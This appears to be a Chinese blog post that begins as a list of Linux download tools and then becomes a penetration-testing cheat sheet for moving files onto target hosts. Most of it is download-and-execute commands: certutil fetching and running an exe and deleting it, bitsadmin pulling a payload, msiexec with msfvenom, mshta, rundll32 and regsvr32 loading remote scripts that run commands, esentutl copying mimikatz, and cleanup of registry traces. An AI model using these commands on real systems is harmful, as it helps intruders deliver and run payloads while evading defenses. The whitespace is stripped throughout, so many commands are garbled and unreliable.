linux下载文件命令(linux基本命令的使用)

# 1. 简介

在我们渗透测试的过程中,通常会需要向目标主机传送一些文件,来达到提权,维持控制等目的。因此当不方便进行直接传输时,同时目标主机是能有网络连接的。

那么此时就可以通过本地下载这种方法来达到文件传输的目的。此篇文章,我会对互联网上针对win与linux大部分的下载指令来做一个汇总,可能会有疏漏,但汇总的都是经常会用的。

# 2. Linux

2.1 Wget

这款工具功能很丰富,可以充当某种功能完备的GUI下载管理器,它拥有一款理想的下载管理器所需要的所有功能,比如它可以恢复下载,可以下载多个文件,出现某个连接问题后,可以重新尝试下载,你甚至可以管理最大的下载带宽。

直接下载:

wgethttp://www.sample-videos.com/video/mp4/big.mp4

后台下载:

wget-bhttp://www.sample-videos.com/video/mp4/big.mp4

如果互联网连接出现中断,恢复下载:

wget-chttp://www.sample-videos.com/video/mp4/big.mp4

从某个密码保护的ftp软件库下载文件:

wget--ftp-user=
 
  --ftp-password=
  
   Download-url-address
  
 

2.2 Curl

Curl是另一种高效的下载工具,它可以用来上传或下载文件,只要使用一个简单的命令。它支持暂停和恢复下载程序包,并支持数量最多的Web协议,可预测下载完成还剩余多少时间,可通过进度条来显示下载进度。它是所有Linux发行版的内置工具。

直接下载:

curl-oum.mp4http://www.sample-videos.com/video/mp4/big.mp4

借助-o选项,提供名称,下载文件会以该名称保存;如使用-O选项,文件就会以原始名称保存。

2.3 Axel

这是wget的出色替代者,是一款轻量级下载实用工具。它实际上是个加速器,因为它打开了多路http连接,可下载独立文件片段,因而文件下载起来更快速。

apt-getinstallaxel

直接下载:

axelhttp://www.sample-videos.com/video/mp4/big.mp4

2.4 Aria2

这是一种开源命令行下载加速器,支持多个端口,你可以使用最大带宽来下载文件,是一款易于安装、易于使用的工具。

apt-getinstallaria2

直接下载:

aria2chttp://www.sample-videos.com/video/mp4/big.mp4

2.5 Perl

Perl是一门很吊的语言,使用它基本可以实现任何事情,用它实现文件下载也很简单。

#!perl#!/usr/bin/perluseLWP::Simple;getstore("http://domain/file","file");

执行脚本文件是这样:

perltest.pl

2.6 Python

Python也是很受欢迎的主流脚本语言,代码清晰且简洁:

#!python#!/usr/bin/pythonimporturllib2u=urllib2.urlopen('http://domain/file')localFile=open('local_file','w')localFile.write(u.read)localFile.close

2.7 Ruby

Ruby是一个面对对象的语言,Metasploit框架就是用它来实现的,当然他也可以实现像下载文件这样的小任务。

#!ruby#!/usr/bin/rubyrequire'net/http'Net::HTTP.start("www.domain.com"){|http|r=http.get("/file")open("save_location","wb"){|file|file.write(r.body)}}

执行脚本文件是这样;

rubytest.rb

2.8 PHP

PHP作为一种服务端脚本,也可以实现下载文件这种功能。

#!/usr/bin/php
 

执行脚本文件是这样:

phptest.php

2.9 FTP

一般情况下攻击者使用FTP上传文件需要很多交互的步骤,下面这个 bash 脚本,考虑到了交互的情况,可以直接执行并不会产生交互动作。

ftp127.0.0.1usernamepasswordgetfileexit

当然根据实际情况也可以进入交互终端:

ftp192.168.3.2输入用户名和密码后lcdE:\file#进入E盘下的file目录cdwww#进入服务器上的www目录getaccess.log#将服务器上的access.log下载到E:\file

2.10 Netcat

攻击者的电脑上输入:

catfile|nc-l1234

这个命令会将file的内容输出到本地的1234端口中,然后不论谁连接此端口,file的内容将会发送到连接过来的IP。

目标电脑上的命令:

nchost_ip1234>file

这条命令将连接攻击者的电脑,接受file内容保存。

# 3. Windows

3.1 Powershell

PowerShell 是一种winodws原生的脚本语言,对于熟练使用它的人来说,可以实现很多复杂的功能。

下面这两条指令实现了从Internet网络下载一个文件。

$p=New-ObjectSystem.Net.WebClient$p.DownloadFile("http://domain/file""C:\%homepath%\file")

3.2 IPC$

copy2.168.3.1\c$\test.exeE:\filecmd.exe/k<\webdavserver\folder\batchfile.txt

3.3 Certutil

可以应用到: Windows Server 2003, Windows Server 2003 R2, Windows Server 2003 with SP1, Windows Server 2003 with SP2

certutil-urlcache-split-fhttp://192.168.3.1/test.exefile.execertutil-urlcache-split-fhttp://192.168.3.1/test.exedelete#删除缓存certutil-verifyctl-split-f-splithttp://192.168.3.1/test.exe#此条命令,会将原文件下载成为临时bin文件,把名字改回来一样可以正常运行

文件下载并执行如下:

certutil-urlcache-split-fhttp://site.com/aa.exe&&a.exe&&dela.exe&&certutil-urlcache-split-fhttp://192.168.254.102:80/adelete

3.4 Visual Basic

在1998年Visual Basic最终标准在windows上确定。下面的代码可以实现下载文件,虽然它的长度比Powershell长多了。

Setargs=Wscript.ArgumentsUrl="http://domain/file"dimxHttp:SetxHttp=createobject("Microsoft.XMLHTTP")dimbStrm:SetbStrm=createobject("Adodb.Stream")xHttp.Open"GET",Url,FalsexHttp.SendwithbStrm.type=1'.open.writexHttp.responseBody.savetofile"C:\%homepath%\file",2'endwith

在windows中Cscript指令可以允许你执行VBS脚本文件或者对script脚本做一些设置。在windows 7中这个指令并不是必须要用到。但是在windows XP中需要使用这条指令,如下所示:

cscripttest.vbs

3.5 Tftp

在Windows Vista以及以后的版本中默认有FTP,可以使用以下命令运行:

上传:

tftp-iIP地址PUTC:\%homepath%\file远程存放位置

下载:

tftp-iIP地址GETC:\%homepath%\file本地存放位置

3.6 Bitsadmin

Bitsadmin是Windows命令行工具,用户可以使用它来创建下载或上传的任务。只能命令下载到指定路径上,win7以上:

bitsadmin/transfermyDownLoadJob/download/prioritynormal"http://192.168.203.140/b.ps1""E:\\phpstudy_pro\\WWW\\b.ps1"bitsadmin/rawreturn/transfergetfilehttp://192.168.3.1/test.txtE:\file\test.txtbitsadmin/rawreturn/transfergetpayloadhttp://192.168.3.1/test.txtE:\file\test.txt

3.7 msiexec

msiexec/q/ihttp://192.168.3.1/calc.pngcalc.png:msfvenom-fmsi-pwindows/execCMD=calc.exe>cacl.png

3.8 IEExec

C:\Windows\Microsoft.NET\Framework\v2.0.50727>caspol-soffC:\Windows\Microsoft.NET\Framework\v2.0.50727>IEExechttp://192.168.3.1/test.exe

3.9 Python

C:\python27\python.exe-c“importurllib2;execurllib2.urlopen(‘http://192.168.3.1/test.zip’).read;”

3.10 Mshta

mshta http://192.168.3.1/run.htarun.hta 内容如下:

 
  
   Window.ReSizeTo0,0Window.moveTo-2000,-2000SetobjShell=CreateObject("Wscript.Shell")objShell.Run"cmd.exe/cnetuser"//这里填写命令self.closedemo
  
 
mshta_vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))

3.11 Rundll32

依赖于WScript.shell这个组件:

rundll32.exe_javascript:"\..\mshtml,RunHTMLApplication";[xss_clean];h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://127.0.0.1:8081/connect",false);try{h.Send;b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd/ctaskkill/f/imrundll32.exe",0,true);}%

3.12 Regsvr32

Regsvr32命令用于注册COM组件,是 Windows 系统提供的用来向系统注册控件或者卸载控件的命令,以命令行方式运行。

WinXP及以上系统的regsvr32.exe在windows\system32文件夹下;2000系统的regsvr32.exe在winnt\system32文件夹下。

regsvr32/u/s/i:http://192.168.3.1/test.datascrobj.dll

test.data内容:

 
 
  
   
   
    ps="cmd.exe/ccalc.exe";newActiveXObject("WScript.Shell").Run(ps,0,true);
   
  
 

还可以利用 https://github.com/CroweCybersecurity/ps1encode 生成sct文件:

regsvr32/u/s/i:http://192.168.3.1/test.sctscrobj.dll

3.13 Windows Share

Windows shares可以加载一个驱动器,然后用命令来复制文件。

加载远程驱动:

netusex:\7.0.0.1\share/user:example.com\userIDmyPassword

3.14 格式转换

当需要把一个exe文件放到目标计算机上时,Nishang可以使用PowerShell允许你把一个exe转换成hex,然后把hex再转换成原来的exe文件:

把exe转成hex文件输入:

PS>.\ExetoText.ps1evil.exeevil.txt

打开evil.txt文件,复制内容,然后通过RDP的剪贴板复制进目标计算机,把hex文件还原成exe文件输入:

PS>.\TexttoExe.ps1evil.textevil.exe

3.15 其它

1.MSXSL.EXE

msxsl.exe是微软用于命令行下处理XSL的一个程序,所以通过他,我们可以执行JavaScript进而执行系统命令。

2.pubprn.vbs在Windows 7以上版本存在一个名为PubPrn.vbs的微软已签名WSH脚本,其位于

C:\Windows\System32\Printing_Admin_Scripts\en-US

3.esentutl.exe/extrac32.exe

esentutl.exe/y"\2.16.249.149\sharemimikatz_trunk.zip"/d"C:\Users\Public\mimikatz_trunk.zip"/0extrac32.exe/Y/C\2.16.249.149\share\test.txtC:\Users\Public\test.txt

4.desktopimgdownldr.exedesktopimgdownldr.exe 位于 Win10 的 system32 文件夹中,原本用于设置锁定屏幕或桌面背景图像的。

普通用户可以用:

set"SYSTEMROOT=C:\ProgramData"&&cmd/cdesktopimgdownldr.exe/lockscreenurl:http://url/xxx.exe/eventName:desktopimgdownldr

这样来下载文件。

可以把C:\ProgramData来改成一个普通用户可写的目录。

下载的文件存放于:

C:\ProgramData\Personalization\LockScreenImage\x_%random%.exe.

管理员用户会多写一个注册表项,所以管理员最好的命令是:

set"SYSTEMROOT=C:\ProgramData\"&&cmd/cdesktopimgdownldr.exe/lockscreenurl:https://url/file.exe/eventName:desktopimgdownldr&&regdeleteHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\PersonalizationCSP/f
(0)
上一篇 2022年7月24日
下一篇 2022年7月24日

相关推荐